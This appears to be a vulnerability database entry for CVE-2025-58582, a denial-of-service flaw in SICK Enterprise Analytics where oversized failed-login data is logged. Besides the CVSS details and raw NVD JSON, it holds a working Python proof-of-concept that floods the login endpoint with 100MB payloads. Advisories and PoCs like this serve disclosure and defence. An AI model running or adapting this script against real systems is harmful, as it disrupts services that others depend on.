Security Vulnerability Report
中文
CVE-2025-58582 CVSS 5.3 MEDIUM

CVE-2025-58582

Published: 2025-10-06 07:15:35
Last Modified: 2026-01-27 16:42:46

Description

If a user tries to login but the provided credentials are incorrect a log is created. The data for this POST requests is not validated and it’s possible to send giant payloads which are then logged.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:sick:enterprise_analytics:*:*:*:*:*:*:*:* - VULNERABLE
SICK 相关产品(具体版本信息请参考SICK官方安全公告sca-2025-0010)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58582 PoC - SICK Product Login Log DoS # Exploits lack of input validation on login POST request data # causing oversized payloads to be logged and consume resources import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-sick-product/login" LOGIN_ENDPOINT = f"{TARGET_URL}" def exploit_dos(target_url, payload_size_mb=100, iterations=10): """ Send oversized login POST requests to trigger resource exhaustion via uncontrolled logging of large payloads. """ # Generate a large payload (e.g., 100MB of data) large_payload = { "username": "A" * (payload_size_mb * 1024 * 1024), "password": "B" * (payload_size_mb * 1024 * 1024) } for i in range(iterations): try: # Send POST request with oversized data response = requests.post( target_url, data=large_payload, timeout=30, headers={"Content-Type": "application/x-www-form-urlencoded"} ) print(f"[+] Iteration {i+1}: Sent {payload_size_mb}MB payload, Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Iteration {i+1}: Error - {e}") if __name__ == "__main__": print(f"[*] Targeting: {LOGIN_ENDPOINT}") print(f"[*] Starting DoS attack via oversized login payloads...") exploit_dos(LOGIN_ENDPOINT) print("[*] Attack completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58582", "sourceIdentifier": "[email protected]", "published": "2025-10-06T07:15:34.733", "lastModified": "2026-01-27T16:42:46.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "If a user tries to login but the provided credentials are incorrect a log is created. The data for this POST requests is not validated and it’s possible to send giant payloads which are then logged."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sick:enterprise_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "04E8EA78-2780-40C0-B5BA-6CF99DE6355B"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}